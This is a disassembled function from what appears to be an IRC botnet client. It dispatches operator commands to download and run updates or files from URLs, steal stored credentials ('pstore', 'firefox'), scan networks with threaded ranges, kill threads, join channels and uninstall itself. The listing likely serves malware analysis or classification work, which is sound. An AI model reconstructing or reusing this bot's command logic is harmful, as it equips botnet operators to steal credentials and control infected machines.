Function at 0x417fdf
Capabilities:
Create thread
Get common file path
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb3c
push esi
cmp dword [ebp + 8], 0
je 0x41912c
mov eax, dword [ebp + 8]
movsx eax, byte [eax]
movsx ecx, byte [0x440922]
cmp eax, ecx
jne 0x41912c
mov dword [ebp - 0x90], 4
mov dword [ebp - 0x8c], 4
push 0x44617c
push dword [ebp + 8]
call fcn.00420380
pop ecx
pop ecx
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x418064
mov eax, dword [ebp - 0x90]
mov ecx, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x88], ecx
push 0x446180
push 0
call fcn.00420380
pop ecx
pop ecx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
jmp 0x41802e
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x80], eax
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp + eax*4 - 0x88]
inc eax
mov ecx, dword [ebp - 0x8c]
mov dword [ebp + ecx*4 - 0x88], eax
and dword [ebp - 8], 0
mov eax, dword [ebp + 0x18]
movzx eax, byte [eax + 0x73]
test eax, eax
je 0x41809b
mov dword [ebp - 8], 1
push 0x200
push 0
lea eax, [ebp - 0x290]
push eax
call fcn.0041ecc0
add esp, 0xc
and dword [ebp - 0x294], 0
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x88]
push str.upd4t3
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x418311
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x80]
push str._j4rk_spliter_b0t_
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
je 0x4182c9
lea eax, [ebp - 0x668]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
push 0xff
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x84]
lea eax, [ebp - 0x4b8]
push eax
call fcn.0041ed20
add esp, 0xc
lea eax, [ebp - 0x564]
push eax
call fcn.0041a7f8
pop ecx
push eax
lea eax, [ebp - 0x668]
push eax
push 0x446184
lea eax, [ebp - 0x3b8]
push eax
call fcn.0041ee40
add esp, 0x10
mov dword [ebp - 0x2b4], 1
and dword [ebp - 0x2b0], 0
mov eax, dword [ebp - 0x8c]
cmp dword [ebp + eax*4 - 0x7c], 0
je 0x418189
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x7c]
call fcn.0041f200
pop ecx
mov dword [ebp - 0xb1c], eax
jmp 0x418190
and dword [ebp - 0xb1c], 0
mov eax, dword [ebp - 0xb1c]
mov dword [ebp - 0x2ac], eax
mov eax, dword [ebp - 0x8c]
cmp dword [ebp + eax*4 - 0x78], 0
je 0x4181c7
push 0x10
push 0
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x78]
call fcn.0041fd20
add esp, 0xc
mov dword [ebp - 0xb20], eax
jmp 0x4181ce
and dword [ebp - 0xb20], 0
mov eax, dword [ebp - 0xb20]
mov dword [ebp - 0x2a8], eax
mov eax, dword [ebp + 0x18]
movzx eax, byte [eax + 0x65]
mov dword [ebp - 0x2a4], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x53c], eax
push 0x7f
push dword [ebp - 0x80]
lea eax, [ebp - 0x538]
push eax
call fcn.0041ed20
add esp, 0xc
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x29c], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x2a0], eax
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x84]
push str._UPDATE_:_Downloading_update_from:__s.
lea eax, [ebp - 0x290]
push eax
call fcn.0041ee40
add esp, 0xc
push dword [ebp + 0xc]
push 0x17
lea eax, [ebp - 0x290]
push eax
call fcn.0041d7c3
add esp, 0xc
mov dword [ebp - 0x2b8], eax
lea eax, [ebp - 0x294]
push eax
push 0
lea eax, [ebp - 0x53c]
push eax
push 0x40aeea
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x2b8]
imul ecx, ecx, 0x244
mov dword [ecx + 0x44bb30], eax
mov eax, dword [ebp - 0x2b8]
imul eax, eax, 0x244
cmp dword [eax + 0x44bb30], 0
je 0x4182ac
cmp dword [ebp - 0x298], 0
jne 0x4182aa
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x418297
jmp 0x4182c7
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._UPDATE_:_Failed_to_start_download_thread__error:___d_.
lea eax, [ebp - 0x290]
push eax
call fcn.0041ee40
add esp, 0xc
jmp 0x4182dc
push str._UPDATE_:_Bot_ID_must_be_different_than_current_running_process.
lea eax, [ebp - 0x290]
push eax
call fcn.0041ee40
pop ecx
pop ecx
cmp dword [ebp - 8], 0
jne 0x4182fc
push 0
push dword [ebp + 0x14]
lea eax, [ebp - 0x290]
push eax
push dword [ebp - 0x80]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x290]
push eax
call fcn.0040a845
pop ecx
mov eax, dword [ebp + 0x28]
jmp 0x41912e
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x88]
push str.patch
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x4183c1
call fcn.0041c65d
test eax, eax
jne 0x418343
push 1
pop eax
jmp 0x41912e
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x678], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x670], eax
and dword [ebp - 0x66c], 0
push 0
push 6
lea eax, [ebp - 0x290]
push eax
call fcn.0041d7c3
add esp, 0xc
mov dword [ebp - 0x674], eax
lea eax, [ebp - 0x294]
push eax
push 0
lea eax, [ebp - 0x678]
push eax
push 0x419314
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x674]
imul ecx, ecx, 0x244
mov dword [ecx + 0x44bb30], eax
cmp dword [ebp - 0x66c], 0
jne 0x4183b9
push 0x1e
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4183a6
push 1
pop eax
jmp 0x41912e
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x88]
push str.killthreads
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x418567
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x84]
push 0x446234
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x418483
call fcn.0041da9e
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0
jle 0x418438
push dword [ebp - 0x90]
push str._MAIN_
push str._s_Stopped:__d_thread_s_
lea eax, [ebp - 0x290]
push eax
call fcn.0041ee40
add esp, 0x10
jmp 0x418451
push str._MAIN_
push str._s_No_active_threads_found
lea eax, [ebp - 0x290]
push eax
call fcn.0041ee40
add esp, 0xc
cmp dword [ebp - 8], 0
jne 0x418471
push 0
push dword [ebp + 0x14]
lea eax, [ebp - 0x290]
push eax
push dword [ebp - 0x80]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x290]
push eax
call fcn.0040a845
pop ecx
jmp 0x41855f
mov eax, dword [ebp - 0x8c]
inc eax
mov dword [ebp - 0x90], eax
jmp 0x41849f
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
cmp dword [ebp - 0x90], 0x20
jae 0x41855f
mov eax, dword [ebp - 0x90]
cmp dword [ebp + eax*4 - 0x88], 0
jne 0x4184c1
jmp 0x41855f
mov eax, dword [ebp - 0x90]
push dword [ebp + eax*4 - 0x88]
call fcn.0041f200
pop ecx
push eax
call fcn.0041d979
pop ecx
test eax, eax
je 0x418507
mov eax, dword [ebp - 0x90]
push dword [ebp + eax*4 - 0x88]
push str._MAIN_
push str._s_Killed_thread:__s
lea eax, [ebp - 0x290]
push eax
call fcn.0041ee40
add esp, 0x10
jmp 0x41852d
mov eax, dword [ebp - 0x90]
push dword [ebp + eax*4 - 0x88]
push str._MAIN_
push str._s_Failed_to_kill_thread:__s
lea eax, [ebp - 0x290]
push eax
call fcn.0041ee40
add esp, 0x10
cmp dword [ebp - 8], 0
jne 0x41854d
push 0
push dword [ebp + 0x14]
lea eax, [ebp - 0x290]
push eax
push dword [ebp - 0x80]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x290]
push eax
call fcn.0040a845
pop ecx
jmp 0x418492
push 1
pop eax
jmp 0x41912e
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x88]
push str.pstore
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
je 0x4185a5
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x88]
push 0x43d8a8
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x418629
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x6fc], eax
push dword [ebp - 0x80]
lea eax, [ebp - 0x6f8]
push eax
call fcn.00420130
pop ecx
pop ecx
push str._rx_j4rk_spliter_penguin_
push str._MAIN_
push str._PSTORE__Executed.
lea eax, [ebp - 0x290]
push eax
call fcn.0041ee40
add esp, 0x10
cmp dword [ebp - 8], 0
jne 0x4185fd
push 0
push dword [ebp + 0x14]
lea eax, [ebp - 0x290]
push eax
push dword [ebp - 0x80]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x290]
push eax
call fcn.0040a845
pop ecx
push 0
push 0
lea eax, [ebp - 0x6fc]
push eax
push 0x419e24
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
jmp 0x419127
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x88]
push str.firefox
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x41868c
cmp dword [0x4e35e4], 0
jne 0x418657
push 1
pop eax
jmp 0x41912e
push dword [ebp + 0x14]
push str.splitj4rkchat
push dword [ebp + 0xc]
call fcn.004137aa
add esp, 0xc
push 0
push dword [ebp + 0x14]
push str._FIREFOX__Executed.
push str.splitj4rkchat
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
push 1
pop eax
jmp 0x41912e
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x88]
push str.find
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x418d08
push 8
call fcn.0041db72
pop ecx
mov dword [ebp - 0x700], eax
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x80]
call fcn.0041f200
pop ecx
mov ecx, dword [ebp - 0x700]
add ecx, eax
cmp ecx, 0x384
jle 0x418719
push dword [ebp - 0x700]
push str._SCAN_
push str._s_already__d_threads._too_many_specified
lea eax, [ebp - 0x290]
push eax
call fcn.0041ee40
add esp, 0x10
push 0
push dword [ebp + 0x14]
lea eax, [ebp - 0x290]
push eax
push dword [ebp - 0x80]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
jmp 0x418d03
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x84]
call fcn.0041f200
pop ecx
mov dword [ebp - 0x738], eax
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x80]
call fcn.0041f200
pop ecx
mov dword [ebp - 0x720], eax
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x7c]
call fcn.0041f200
pop ecx
mov dword [ebp - 0x734], eax
cmp dword [ebp - 0x734], 5
jae 0x418773
mov dword [ebp - 0xb24], 5
jmp 0x41877f
mov eax, dword [ebp - 0x734]
mov dword [ebp - 0xb24], eax
mov eax, dword [ebp - 0xb24]
mov dword [ebp - 0x734], eax
cmp dword [ebp - 0x734], 0x3c
jbe 0x4187a0
mov dword [ebp - 0xb28], 0x3c
jmp 0x4187ac
mov eax, dword [ebp - 0x734]
mov dword [ebp - 0xb28], eax
mov eax, dword [ebp - 0xb28]
mov dword [ebp - 0x734], eax
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x78]
call fcn.0041f200
pop ecx
mov dword [ebp - 0x730], eax
cmp dword [ebp - 0x730], 0xf0
jbe 0x4187e6
mov dword [ebp - 0xb2c], 0xf0
jmp 0x4187f2
mov eax, dword [ebp - 0x730]
mov dword [ebp - 0xb2c], eax
mov eax, dword [ebp - 0xb2c]
mov dword [ebp - 0x730], eax
or dword [ebp - 0x71c], 0xffffffff
and dword [ebp - 0x90], 0
jmp 0x41881b
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
mov eax, dword [ebp - 0x90]
imul eax, eax, 0x3c
cmp dword [eax + 0x443a40], 0
je 0x418879
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x84]
mov eax, dword [ebp - 0x90]
imul eax, eax, 0x3c
add eax, 0x443a18
push eax
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x418877
mov eax, dword [ebp - 0x90]
imul eax, eax, 0x3c
mov eax, dword [eax + 0x443a40]
mov dword [ebp - 0x738], eax
mov eax, dword [ebp - 0x90]
mov dword [ebp - 0x71c], eax
jmp 0x418879
jmp 0x41880e
cmp dword [ebp - 0x738], 0
jne 0x4188d0
push str._SCAN_
push str._s_failed_to_start__syntax_is_invalid
lea eax, [ebp - 0x290]
push eax
call fcn.0041ee40
add esp, 0xc
cmp dword [ebp - 8], 0
jne 0x4188bb
push 0
push dword [ebp + 0x14]
lea eax, [ebp - 0x290]
push eax
push dword [ebp - 0x80]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x290]
push eax
call fcn.0040a845
pop ecx
push 1
pop eax
jmp 0x41912e
mov eax, dword [ebp - 0x8c]
cmp dword [ebp + eax*4 - 0x74], 0
je 0x418940
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp + eax*4 - 0x74]
movsx eax, byte [eax]
cmp eax, 0x23
je 0x418940
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp + eax*4 - 0x74]
movsx eax, byte [eax]
cmp eax, 0x2d
je 0x418940
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x74]
push 0x10
lea eax, [ebp - 0x84c]
push eax
call fcn.0041f000
add esp, 0xc
push 0x78
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x74]
call fcn.00420230
pop ecx
pop ecx
neg eax
sbb eax, eax
neg eax
mov dword [ebp - 0x70c], eax
jmp 0x418aff
mov eax, dword [ebp + 0x18]
movzx eax, byte [eax + 0x61]
test eax, eax
jne 0x41899e
mov eax, dword [ebp + 0x18]
movzx eax, byte [eax + 0x62]
test eax, eax
jne 0x41899e
mov eax, dword [ebp + 0x18]
movzx eax, byte [eax + 0x72]
test eax, eax
jne 0x41899e
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp + eax*4 - 0x74]
movsx eax, byte [eax + 1]
cmp eax, 0x61
je 0x41899e
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp + eax*4 - 0x74]
movsx eax, byte [eax + 1]
cmp eax, 0x62
je 0x41899e
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp + eax*4 - 0x74]
movsx eax, byte [eax + 1]
cmp eax, 0x72
jne 0x418ab1
mov dword [ebp - 0x860], 0x10
lea eax, [ebp - 0x860]
push eax
lea eax, [ebp - 0x85c]
push eax
push dword [ebp + 0xc]
call dword [0x4e34d4]
mov eax, dword [ebp + 0x18]
movzx eax, byte [eax + 0x61]
neg eax
sbb eax, eax
and ax, 0x100
add eax, 0xffff
mov ecx, dword [ebp - 0x858]
and ecx, eax
mov dword [ebp - 0x858], ecx
push 0x10
push dword [ebp - 0x858]
call dword [0x4e35b0]
push eax
lea eax, [ebp - 0x84c]
push eax
call fcn.0041ed20
add esp, 0xc
mov eax, dword [ebp + 0x18]
movzx eax, byte [eax + 0x72]
test eax, eax
jne 0x418a21
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp + eax*4 - 0x74]
movsx eax, byte [eax + 1]
cmp eax, 0x72
jne 0x418aa8
mov eax, dword [ebp + 0x18]
movzx eax, byte [eax + 0x61]
neg eax
sbb eax, eax
neg eax
inc eax
inc eax
mov dword [ebp - 0x86c], eax
push 0x30
lea eax, [ebp - 0x84c]
push eax
call fcn.0041f990
pop ecx
pop ecx
mov dword [ebp - 0x864], eax
and byte [ebp - 0x868], 0
jmp 0x418a82
mov eax, dword [ebp - 0x864]
mov byte [eax], 0x78
push 0x30
lea eax, [ebp - 0x84c]
push eax
call fcn.0041f990
pop ecx
pop ecx
mov dword [ebp - 0x864], eax
mov al, byte [ebp - 0x868]
add al, 1
mov byte [ebp - 0x868], al
movsx eax, byte [ebp - 0x868]
cmp eax, dword [ebp - 0x86c]
jge 0x418a9c
cmp dword [ebp - 0x864], 0
je 0x418a9c
jmp 0x418a55
mov dword [ebp - 0x70c], 1
jmp 0x418aaf
and dword [ebp - 0x70c], 0
jmp 0x418aff
push str._SCAN_
push str._s_failed_to_start__no_range_specified
lea eax, [ebp - 0x290]
push eax
call fcn.0041ee40
add esp, 0xc
cmp dword [ebp - 8], 0
jne 0x418aea
push 0
push dword [ebp + 0x14]
lea eax, [ebp - 0x290]
push eax
push dword [ebp - 0x80]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x290]
push eax
call fcn.0040a845
pop ecx
push 1
pop eax
jmp 0x41912e
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x73c], eax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x714], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x710], eax
push dword [ebp - 0x80]
push 0x80
lea eax, [ebp - 0x83c]
push eax
call fcn.0041f000
add esp, 0xc
mov eax, dword [ebp - 0x8c]
cmp dword [ebp + eax*4 - 0x70], 0
je 0x418b5e
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x70]
push 0x80
lea eax, [ebp - 0x7bc]
push eax
call fcn.0041f000
add esp, 0xc
jmp 0x418bd4
mov eax, dword [ebp - 0x8c]
cmp dword [ebp + eax*4 - 0x74], 0
je 0x418b9d
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp + eax*4 - 0x74]
movsx eax, byte [eax]
cmp eax, 0x23
jne 0x418b9d
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x74]
push 0x80
lea eax, [ebp - 0x7bc]
push eax
call fcn.0041f000
add esp, 0xc
jmp 0x418bd4
push 0x4e3664
push 0x440ad8
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
je 0x418bcd
push 0x440ad8
push 0x80
lea eax, [ebp - 0x7bc]
push eax
call fcn.0041f000
add esp, 0xc
jmp 0x418bd4
and byte [ebp - 0x7bc], 0
cmp dword [ebp - 0x70c], 0
je 0x418be9
mov dword [ebp - 0xb30], str.Random
jmp 0x418bf3
mov dword [ebp - 0xb30], str.Sequential
push dword [ebp - 0x720]
push dword [ebp - 0x734]
push dword [ebp - 0x730]
mov eax, dword [ebp - 0x90]
imul eax, eax, 0x3c
add eax, 0x443a22
push eax
lea eax, [ebp - 0x84c]
push eax
push dword [ebp - 0xb30]
push str._SCAN_
push str._s__s_Method_started_at__s_:_s_for__d_minutes__d_delay__d_threads
lea eax, [ebp - 0x290]
push eax
call fcn.0041ee40
add esp, 0x24
push 0
push 8
lea eax, [ebp - 0x290]
push eax
call fcn.0041d7c3
add esp, 0xc
mov dword [ebp - 0x72c], eax
lea eax, [ebp - 0x294]
push eax
push 0
lea eax, [ebp - 0x84c]
push eax
push 0x4111bc
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x72c]
imul ecx, ecx, 0x244
mov dword [ecx + 0x44bb30], eax
mov eax, dword [ebp - 0x72c]
imul eax, eax, 0x244
cmp dword [eax + 0x44bb30], 0
je 0x418cae
cmp dword [ebp - 0x708], 0
jne 0x418cac
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x418c99
jmp 0x418cce
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._SCAN_
push str._s_Failed_to_start_thread__error:__d
lea eax, [ebp - 0x290]
push eax
call fcn.0041ee40
add esp, 0x10
cmp dword [ebp - 8], 0
jne 0x418cee
push 0
push dword [ebp + 0x14]
lea eax, [ebp - 0x290]
push eax
push dword [ebp - 0x80]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x290]
push eax
call fcn.0040a845
pop ecx
push 1
pop eax
jmp 0x41912e
jmp 0x419127
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x88]
push str.remove.n00b
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x418d5f
cmp dword [ebp - 8], 0
jne 0x418d43
push 0
push dword [ebp + 0x14]
push str._Removing_Noob_
push dword [ebp - 0x80]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
push dword [ebp + 0xc]
call dword [0x4e35bc]
call dword [0x4e3490]
call fcn.0040bd35
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x88]
push str.join
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x418dc4
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x80]
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x84]
push str.JOIN__s__s_r_n
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0x10
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x84]
push str.Joined_channel:__s.
call fcn.0040a8db
pop ecx
pop ecx
mov eax, dword [ebp + 0x28]
jmp 0x41912e
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x88]
push str.part
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x418e1f
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x84]
push str.PART__s_r_n
push dword [ebp + 0xc]
call fcn.0040bf1b
add esp, 0xc
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x84]
push str.Parted_channel:__s.
call fcn.0040a8db
pop ecx
pop ecx
mov eax, dword [ebp + 0x28]
jmp 0x41912e
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x88]
push str.d0wnl0ad
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x419060
push 0xff
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x84]
lea eax, [ebp - 0xa90]
push eax
call fcn.0041ed20
add esp, 0xc
push 0xff
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x80]
lea eax, [ebp - 0x990]
push eax
call fcn.0041ed20
add esp, 0xc
and dword [ebp - 0x88c], 0
mov eax, dword [ebp - 0x8c]
cmp dword [ebp + eax*4 - 0x7c], 0
je 0x418eab
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x7c]
call fcn.0041f200
pop ecx
mov dword [ebp - 0xb34], eax
jmp 0x418eb2
and dword [ebp - 0xb34], 0
mov eax, dword [ebp - 0xb34]
mov dword [ebp - 0x888], eax
mov eax, dword [ebp - 0x8c]
cmp dword [ebp + eax*4 - 0x78], 0
je 0x418ee9
push 0x10
push 0
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x78]
call fcn.0041fd20
add esp, 0xc
mov dword [ebp - 0xb38], eax
jmp 0x418ef0
and dword [ebp - 0xb38], 0
mov eax, dword [ebp - 0xb38]
mov dword [ebp - 0x880], eax
mov eax, dword [ebp - 0x8c]
cmp dword [ebp + eax*4 - 0x74], 0
je 0x418f21
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x74]
call fcn.0041f200
pop ecx
mov dword [ebp - 0xb3c], eax
jmp 0x418f28
and dword [ebp - 0xb3c], 0
mov eax, dword [ebp - 0xb3c]
mov dword [ebp - 0x884], eax
mov eax, dword [ebp + 0x18]
movzx eax, byte [eax + 0x65]
mov dword [ebp - 0x87c], eax
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0xb14], eax
push 0x7f
push dword [ebp - 0x80]
lea eax, [ebp - 0xb10]
push eax
call fcn.0041ed20
add esp, 0xc
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x874], eax
mov eax, dword [ebp - 8]
mov dword [ebp - 0x878], eax
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x80]
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x84]
push str._DOWNLOAD_:_Downloading_URL:__s_to:__s.
lea eax, [ebp - 0x290]
push eax
call fcn.0041ee40
add esp, 0x10
push dword [ebp + 0xc]
push 0x16
lea eax, [ebp - 0x290]
push eax
call fcn.0041d7c3
add esp, 0xc
mov dword [ebp - 0x890], eax
lea eax, [ebp - 0x294]
push eax
push 0
lea eax, [ebp - 0xb14]
push eax
push 0x40aeea
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, dword [ebp - 0x890]
imul ecx, ecx, 0x244
mov dword [ecx + 0x44bb30], eax
mov eax, dword [ebp - 0x890]
imul eax, eax, 0x244
cmp dword [eax + 0x44bb30], 0
je 0x419010
cmp dword [ebp - 0x870], 0
jne 0x41900e
push 0x32
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x418ffb
jmp 0x41902b
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push str._DOWNLOAD_:_Failed_to_start_transfer_thread__error:___d_.
lea eax, [ebp - 0x290]
push eax
call fcn.0041ee40
add esp, 0xc
cmp dword [ebp - 8], 0
jne 0x41904b
push 0
push dword [ebp + 0x14]
lea eax, [ebp - 0x290]
push eax
push dword [ebp - 0x80]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
lea eax, [ebp - 0x290]
push eax
call fcn.0040a845
pop ecx
push 1
pop eax
jmp 0x41912e
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x88]
push 0x43d894
call fcn.004202f0
pop ecx
pop ecx
test eax, eax
jne 0x419127
cmp dword [ebp + 0x20], 0
je 0x419122
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x88]
call fcn.0041ec40
pop ecx
mov esi, dword [ebp + 0x20]
add esi, eax
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x84]
call fcn.0041ec40
pop ecx
lea eax, [esi + eax + 2]
mov dword [ebp + 0x20], eax
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x80]
push dword [ebp + 0x20]
call fcn.0041f550
pop ecx
pop ecx
mov dword [ebp - 0xb18], eax
cmp dword [ebp - 0xb18], 0
je 0x419122
push 0
push 0
push dword [ebp - 0xb18]
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x84]
push dword [ebp + 0xc]
call fcn.0040bf6c
add esp, 0x14
push dword [ebp - 0xb18]
mov eax, dword [ebp - 0x8c]
push dword [ebp + eax*4 - 0x84]
push str.Privmsg:__s:__s
call fcn.0040a8db
add esp, 0xc
mov eax, dword [ebp + 0x28]
jmp 0x41912e
push 1
pop eax
jmp 0x41912e
xor eax, eax
pop esi
leave
ret